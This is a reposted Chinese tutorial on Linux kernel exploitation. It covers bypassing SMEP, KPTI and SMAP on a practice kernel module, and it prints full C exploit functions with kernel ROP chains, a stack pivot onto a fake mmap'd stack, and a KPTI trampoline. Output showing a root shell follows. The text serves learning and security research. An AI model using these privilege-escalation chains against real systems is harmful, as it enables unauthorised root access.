在Part 1部分我们关闭了所有的保护方式,包括SMEP
、KPTI
、SMAP
,
本章节会逐个的开启这些保护方式,并探讨如果绕过这些机制。
Bypass SMEP
在Part1中,用于覆盖返回地址的函数escalate_privs
存在userspace中,当开启SMEP时,在kernel-mode下,userspace地址被标记为non-executable
。这一点很像userland下的NX
保护,同样的,在userland下我们使用ROP
,在kernelland下,有Kernel ROP
.
值得注意的是,get_shell
是在由kernel-mode去换到user-mode之后完成的,因此不会受到SMEP的影响,不需要ROPchain。
Try To Overwrite CR4
在Part 1中提到,SMEP由CR4寄存器的20th bit控制,而在kernel-mode下,我们可以修改CR4寄存器的值,例如mov,cr4,rax
;有一个通用的函数native_write_cr4(value)
可以修改CR4的值为指定的value,该函数同样在kernel地址空间中
/ # cat /proc/kallsyms | grep native_write_cr4
ffffffff814443e0 T native_write_cr4
通过ROP
构造上述函数执行,实现修改CR4寄存器。
通过ROPgadget --binary vmlunix > gadgets.txt
获取所有的gadget,从中找到pop rdi, ret
。
通过调试kernel或者触发崩溃可以得到正常情况下的CR4值,20thbit对应的值是0x100000
。
[ 10.349798] CR2: ffff88800686a200 CR3: 000000000655c000 CR4: 00000000001006f0
>>> hex(1<<20)
'0x100000'
当20th bit清零后,CR4值为0x6f0
;下面的代码即可以修改CR4
void exploit()
{
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;
unsigned long payload[0x100/8];
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x6f0;
payload[offset++] = (unsigned long)native_write_cr4;
payload[offset++] = (unsigned long)escalate_privs;
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
但是实际上,失败了,kernel崩溃了,panic输出
[*] Prepared payload
[ 19.393575] unable to execute userspace code (SMEP?) (uid: 1000)
...
[ 19.404200] CR2: 0000000000401102 CR3: 0000000006508000 CR4: 00000000001006f0
发现CR4的值没有改动,SMEP仍然处于enable
状态。
Escalation ROPchain
既然无法改写CR4禁用SMEP,就只好通过ROP的方式完成escalate_priv
。
-
ROP 构造
prepare_kernel_cred(0)
-
ROP 构造
commit_creds()
,以上一步的返回值为参数 -
ROP 构造
swapgs; ret
-
ROP 构造 stack setup,
RIP|CS|RFLAGS|SP|SS
-
ROP 构造
iretq
在导出的gadgets.txt搜索到下面的代码片段,可以完成前三个步骤的ROPchain
0xffffffff81006370 : pop rdi ; ret // 传递函数第一个参数
0xffffffff81007616 : pop rdx ; ret // 设置rdx
0xffffffff81c0f8b2 : cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret // rdx等于-1 不会跳转
0xffffffff8166ff23 : mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret // 受上述cmp rdx -1影响不会跳转
0xffffffff8100a55f : swapgs ; pop rbp ; ret // swapgs
但是在gadgets.txt里没有找到iretq
指令,objdump可以发现
$ objdump -j .text -d ./vmlinux | grep iretq | head -3
ffffffff8100c0d9: 48 cf iretq
ffffffff81200fc7: 48 cf iretq
ffffffff81201485: 48 cf iretq
构造下面的exploit函数
void exploit_smep()
{
user_rip = (unsigned long)get_root_shell;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2; // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23; // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long payload[60]; // 该值太大会覆盖其他栈帧内的cookie造成stack guard终止
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x00;
payload[offset++] = (unsigned long)prepare_kernel_cred;
payload[offset++] = (unsigned long)pop_rdx_ret;
payload[offset++] = 8;
payload[offset++] = cmp_rdx_jne_pop2_ret;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = mov_rdi_rax_pop2_ret;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = commit_creds;
payload[offset++] = swapgs_pop1_ret; // swapgs ; pop rbp ; ret
payload[offset++] = 0x0; //
payload[offset++] = iretq; // iretq
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
stack pivoting
在userland的漏洞利用中,如果栈溢出长度只能够覆盖到返回地址而无法完全构造整个ROPchain时,一个有效的构造手段就是stack pivot
,需要修改rsp
到可控的地址(提前布置一个fake stack)。
在userland中,并需要修改保存的rbp
,通过leave
类的指令间接地修改rsp
。
在kernel-mode下,该方法实现更容易,因为有大量的gadget可以使用。最常用的就是可以直接修改rsp/esp
的指令,只要保证值是页对齐的就合适。例如:
0xffffffff8196f56a : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
由于esp
将变为0x5b000000
,我们可以在该地址映射可执行的page,提前写入ROPchain,溢出时只需要覆盖返回地址即可执行ROPchain
void stack_pivot()
{
user_rip = (unsigned long)get_root_shell;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2; // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23; // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long *fake_stack = mmap((void*)(0x5b000000 - 0x1000), 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned offset = 0x1000 / 8; // ROPchain in second page
fake_stack[0] = 0xdead; // write first page to prevent fault
fake_stack[offset++] = 0x0; // r12
fake_stack[offset++] = 0x0; // rbp
fake_stack[offset++] = (unsigned long)pop_rdi_ret;
fake_stack[offset++] = 0x00;
fake_stack[offset++] = (unsigned long)prepare_kernel_cred;
fake_stack[offset++] = (unsigned long)pop_rdx_ret;
fake_stack[offset++] = 8;
fake_stack[offset++] = cmp_rdx_jne_pop2_ret;
fake_stack[offset++] = 0;
fake_stack[offset++] = 0;
fake_stack[offset++] = mov_rdi_rax_pop2_ret;
fake_stack[offset++] = 0x0;
fake_stack[offset++] = 0x0;
fake_stack[offset++] = commit_creds;
fake_stack[offset++] = swapgs_pop1_ret; // swapgs ; pop rbp ; ret
fake_stack[offset++] = 0x0; //
fake_stack[offset++] = iretq; // iretq
fake_stack[offset++] = user_rip;
fake_stack[offset++] = user_cs;
fake_stack[offset++] = user_rflags;
fake_stack[offset++] = user_sp;
fake_stack[offset++] = user_ss;
unsigned long payload[60];
unsigned long off = 0x80/8;
payload[off++] = cookie;
payload[off++] = 0x0;
payload[off++] = 0x0;
payload[off++] = 0x0; // only overwrite return address
payload[off++] = 0xffffffff8196f56a; // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
构造fake_stack时需要注意的几点
-
mmap两个pages,从
0x5b000000
-
0x1000
开始而不是0x5b000000
,这是因为在fake_stack里执行的函数会导致栈生长,如果esp
指向page的起始地址,可能导致fake_stack栈空间不足,异常结束。 -
第一个空白页,我们需要写入一个dirty值,否则导致
Double Fault
,
[ 44.010031] traps: PANIC: double fault, error_code: 0x0
[ 44.010827] double fault: 0000 [#1] SMP NOPTI
ByPass KPTI
Page Table
每一个进程都有一个指向进程自身的页表,由CR3寄存器指定。
KPTI
Kernel Page-table isolation,该机制引入kernel防止meltdown
攻击,在userland没有类似的机制。
如果没有KPTI,从kernel-mode切换到user-mode时,Linux会在其页表中保存整个内核内存的映射,这样做的优点是当应用程序向内核发送系统调用或者接收到中断时,内核页表始终存在,可以避免大多数上下文切换的开销。
开启KPTI后,userland页表只有部分内核映射(用于中断入口出口),而避免了内核页表的泄漏。
bypass
在开启KPTI的情况下,目前为止得到所有exploit都将造成crash
,有趣的是该crash是在userland常见的Segmentation fault
。
/ $ ./exploit
[*] Saved state
[*] Opened device
[*] Leak 160 bytes
[*] Cookie: 0x6e0d7bffd02b0400
[*] Prepared payload
Segmentation fault
这是由于尽管回到了user-mode,page-tables依然是kernel-mode的(并没有主动交换页表),在kernel-mode
下userland的pages是不可执行的。
绕过KPTI的两种常见方法:
使用signal handler
:这种方法很简单,机智。原理这个崩溃导致userland处理SIGSEGV
信号,我们可以为它注册一个信号处理句柄,只需要在main函数中加上以下简单的语句
signal(SIGSEGV, get_root_shell);
疑惑地是,即使作为handler
,get_root_shell
函数依然是在不可执行的页面上。
KPTI trampoline:基于的理论是“如果一个syscall正常返回,那么内核中一定有一段代码会将page tables交换回userland,因此我们可以利用这段代码达到目的。这段代码称为KPTI trampoline
,它的作用就是交换page tables, swapgs
和iretq
。
这段代码所在的函数是swapgs_restore_regs_and_return_to_usermode()
,在/proc/kallsyms
中一样可以找到其地址。
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
该函数的起始部分代码
.text:FFFFFFFF81200F10 pop r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
通过pop
从栈上恢复大量寄存器,这一部分会增加ROPchain的负载,因此我们这里的kpti_trampoline
只从pop
之后的第一条指令的位置,即func+22
位置。
该函数里最关键的代码
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89: ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
.....
.data:FFFFFFFF82040088 off_FFFFFFFF82040088 dq offset sub_FFFFFFFF8146D4E0
.data:FFFFFFFF82040080 off_FFFFFFFF82040080 dq offset sub_FFFFFFFF81200FC0
.....
.text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near ; CODE XREF: sub_FFFFFFFF8100A540+E↑p
.text.native_swapgs:FFFFFFFF8146D4E0 ; sub_FFFFFFFF8100A570+17↑p ...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
.text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp
...
.text:FFFFFFFF81200FC0 test byte ptr [rsp+arg_18], 4
.....
.text:FFFFFFFF8120102E mov rdi, cr3
.text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067
.text:FFFFFFFF81201033 ; ------------------------------------------------------
.text:FFFFFFFF81201067 loc_FFFFFFFF81201067: ; CODE XREF: sub_FFFFFFFF81200FC0+71↑j
.text:FFFFFFFF81201067 or rdi, 1000h
.text:FFFFFFFF8120106E mov cr3, rdi
....
.text:FFFFFFFF81200FC7 iretq
swapgs
用于切换kernel-mode和user-mode的GS寄存器
mov rdi, cr3; or rdi, 0x1000; mov cr3, rdi;
代码段用于切换CR3寄存器。
iretq
切换到user-mode。
因此,利用该函数的代码片段即可以完成swapgs; swap page tables; iretq
等操作,构造的payload
如下
...
payload[offset++] = commit_creds;
payload[offset++] = kpti_trampoline;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
....
也可以利用gadget执行交换page tables的操作,有同样的效果,这是这个函数内集成了多个gadget序列,比较便利。
这种方式可以绕过KPTI策略。
/ $ ./exploit
[*] Saved state
[*] Opened device
[*] Leak 160 bytes
[*] Cookie: 0x14324065f2932600
[*] Prepared payload
[*] Returned to userland
[*] UID: 0, got root priv
/ # id
uid=0 gid=0
Bypass SMAP
同SMEP类似,当进程在kernel-mode下时,userspace的地址空间标记为不可读、不可写。
显然,通过ROPchain的方式绕过SMEP的策略也适用于绕过SMAP(结合绕过KPTI的策略)
来源:先知
注:如有侵权请联系删除
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
努力的目的不是为了达到别人所设定的目标,
而是可以更有底气的去选择自己想要的生活。
原文始发于微信公众号(衡阳信安):Linux Kernel Pwn Part 2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论